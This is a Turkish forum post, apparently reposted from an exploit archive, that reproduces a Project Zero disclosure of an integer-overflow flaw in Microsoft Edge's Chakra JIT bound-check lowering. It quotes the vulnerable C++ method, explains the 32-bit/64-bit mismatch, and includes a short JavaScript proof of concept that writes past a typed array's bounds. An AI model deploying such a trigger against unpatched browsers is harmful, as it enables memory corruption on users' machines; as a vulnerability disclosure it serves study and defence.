Hoşgeldin Misafir

Microsoft Edge Chakra JIT

|^KahiN^|

24 Eyl 2020
414 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Microsoft Edge Chakra JIT - Lowerer::LowerBoundCheck Incorrect Integer Overflow Check Exploit


PHP:
/*[/FONT][/SIZE][/CENTER]
[SIZE=3][FONT=Verdana]
[CENTER]Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343



Here's a snippet of the method.

void Lowerer::LowerBoundCheck(IR::Instr *const instr)

{

   ...

   if(rightOpnd->IsIntConstOpnd())

   {

       IntConstType newOffset;

       if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)

       {

           offset = newOffset;

           rightOpnd = nullptr;

           offsetOpnd = nullptr;

       }

   }

   ...

   if(!rightOpnd)

   {

       rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);

   }

}



At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.



PoC:

*/



function f() {

   let arr = new Uint32Array(0x1000);

   for (let i = 0; i < 0x7fffffff;) {

       arr[++i] = 0x1234;

   }

}



f();



# Â 0day.today [2017-11-17] Â #


 
Moderatör tarafında düzenlendi: